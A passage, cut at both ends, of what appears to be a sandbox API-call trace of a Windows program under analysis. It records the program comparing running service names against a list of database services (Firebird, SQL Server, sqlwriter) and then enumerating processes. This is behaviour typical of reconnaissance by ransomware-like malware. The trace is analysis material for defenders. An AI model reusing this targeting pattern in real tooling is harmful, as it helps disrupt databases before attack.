lpString2="netprofm") returned -1 [0101.396] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0101.396] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0101.396] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0101.396] lstrlenW (lpString="NlaSvc") returned 6 [0101.396] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0101.396] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0101.397] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0101.397] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0101.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0101.397] lstrlenW (lpString="nsi") returned 3 [0101.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0101.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0101.397] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0101.397] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0101.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0101.397] lstrlenW (lpString="PcaSvc") returned 6 [0101.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0101.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0101.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0101.397] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0101.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0101.397] lstrlenW (lpString="PlugPlay") returned 8 [0101.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0101.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0101.397] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0101.397] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0101.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0101.397] lstrlenW (lpString="Power") returned 5 [0101.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0101.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0101.397] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0101.397] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0101.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0101.397] lstrlenW (lpString="ProfSvc") returned 7 [0101.397] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0101.397] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0101.397] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0101.397] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0101.397] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0101.398] lstrlenW (lpString="RpcEptMapper") returned 12 [0101.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0101.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0101.398] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0101.398] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0101.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0101.398] lstrlenW (lpString="RpcSs") returned 5 [0101.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0101.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0101.398] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0101.398] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0101.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0101.398] lstrlenW (lpString="SamSs") returned 5 [0101.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0101.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0101.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0101.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0101.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0101.398] lstrlenW (lpString="Schedule") returned 8 [0101.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0101.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0101.398] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0101.398] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0101.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0101.398] lstrlenW (lpString="SecurityHealthService") returned 21 [0101.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0101.398] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0101.398] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0101.398] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0101.398] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0101.398] lstrlenW (lpString="SENS") returned 4 [0101.398] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0101.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0101.399] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0101.399] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0101.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0101.399] lstrlenW (lpString="ShellHWDetection") returned 16 [0101.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0101.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0101.399] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0101.399] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0101.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0101.399] lstrlenW (lpString="Spooler") returned 7 [0101.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0101.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0101.399] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0101.399] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0101.399] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0101.399] lstrlenW (lpString="sppsvc") returned 6 [0101.399] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="sppsvc") returned -1 [0101.399] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="sppsvc") returned -1 [0101.399] lstrcmpiW (lpString1="sqlwriter", lpString2="sppsvc") returned 1 [0101.399] lstrcmpiW (lpString1="mssqlserver", lpString2="sppsvc") returned -1 [0101.399] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42b18c8 | out: hHeap=0x5c0000) returned 1 [0101.399] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x320 [0101.405] Process32FirstW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0101.406] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0101.407] lstrlenW (lpString="System") returned 6 [0101.407] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0101.407] lstrlenW (lpString="smss.exe") returned 8 [0101.407] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0101.408] lstrlenW (lpString="csrss.exe") returned 9 [0101.408] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0101.409] lstrlenW (lpString="wininit.exe") returned 11 [0101.409] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0101.409] lstrlenW (lpString="csrss.exe") returned 9 [0101.409] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0101.410] lstrlenW (lpString="winlogon.exe") returned 12 [0101.410] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0101.411] lstrlenW (lpString="services.exe") returned 12 [0101.411] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0101.429] lstrlenW (lpString="lsass.exe") returned 9 [0101.429] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.429] lstrlenW (lpString="svchost.exe") returned 11 [0101.429] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0101.430] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0101.430] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0101.431] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0101.431] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.431] lstrlenW (lpString="svchost.exe") returned 11 [0101.432] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0101.432] lstrlenW (lpString="dwm.exe") returned 7 [0101.432] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5e, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.433] lstrlenW (lpString="svchost.exe") returned 11 [0101.433] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.434] lstrlenW (lpString="svchost.exe") returned 11 [0101.434] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.434] lstrlenW (lpString="svchost.exe") returned 11 [0101.588] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.589] lstrlenW (lpString="svchost.exe") returned 11 [0101.589] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.590] lstrlenW (lpString="svchost.exe") returned 11 [0101.590] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.590] lstrlenW (lpString="svchost.exe") returned 11 [0101.590] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.591] lstrlenW (lpString="svchost.exe") returned 11 [0101.591] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.592] lstrlenW (lpString="svchost.exe") returned 11 [0101.592] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.592] lstrlenW (lpString="svchost.exe") returned 11 [0101.592] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0101.593] lstrlenW (lpString="spoolsv.exe") returned 11 [0101.593] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.594] lstrlenW (lpString="svchost.exe") returned 11 [0101.594] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.595] lstrlenW (lpString="svchost.exe") returned 11 [0101.595] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0101.595] lstrlenW (lpString="audiodg.exe") returned 11 [0101.596] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0101.596] lstrlenW (lpString="sihost.exe") returned 10 [0101.596] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0101.597] lstrlenW (lpString="svchost.exe") returned 11 [0101.597] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0101.598] lstrlenW (lpString="taskhostw.exe") returned 13 [0101.598] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0101.598] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0101.598] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0101.599] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0101.599] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3a, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0101.600] lstrlenW (lpString="explorer.exe") returned 12 [0101.600] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0102.055] lstrlenW (lpString="Memory Compression") returned 18 [0102.055] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0102.059] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0102.059] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0102.060] lstrlenW (lpString="SearchUI.exe") returned 12 [0102.060] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0102.061] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0102.061] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0102.062] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0102.062] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfcc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="OfficeC2RClient.exe")) returned 1 [0102.063] lstrlenW (lpString="OfficeC2RClient.exe") returned 19 [0102.063] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfdc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="DeviceCensus.exe")) returned 1 [0102.064] lstrlenW (lpString="DeviceCensus.exe") returned 16 [0102.064] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfe8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UNPCampaignManager.exe")) returned 1 [0102.065] lstrlenW (lpString="UNPCampaignManager.exe") returned 22 [0102.065] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x47c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0xfdc, pcPriClassBase=6, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0102.066] lstrlenW (lpString="conhost.exe") returned 11 [0102.066] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="screensaver-fireplace-subdivision.exe")) returned 1 [0102.067] lstrlenW (lpString="screensaver-fireplace-subdivision.exe") returned 37 [0102.067] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="upper arc.exe")) returned 1 [0102.068] lstrlenW (lpString="upper arc.exe") returned 13 [0102.068] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="buying-defeat-preston.exe")) returned 1 [0102.069] lstrlenW (lpString="buying-defeat-preston.exe") returned 25 [0102.069] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x668, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="isolated-concerned.exe")) returned 1 [0102.070] lstrlenW (lpString="isolated-concerned.exe") returned 22 [0102.070] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="memberromanialiberia.exe")) returned 1 [0102.071] lstrlenW (lpString="memberromanialiberia.exe") returned 24 [0102.071] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="blademcdonald.exe")) returned 1 [0102.072] lstrlenW (lpString="blademcdonald.exe") returned 17 [0102.072] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="courage.exe")) returned 1 [0102.073] lstrlenW (lpString="courage.exe") returned 11 [0102.073] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="pearl.exe")) returned 1 [0102.074] lstrlenW (lpString="pearl.exe") returned 9 [0102.074] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x860, pcPriClassBase=8, dwFlags=0x0, szExeFile="quantum_appeals_das.exe")) returned 1 [0102.075] lstrlenW (lpString="quantum_appeals_das.exe") returned 23 [0102.075] Process32NextW (in: hSnapshot=0x320, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa28, th32DefaultHeapID=0x0, 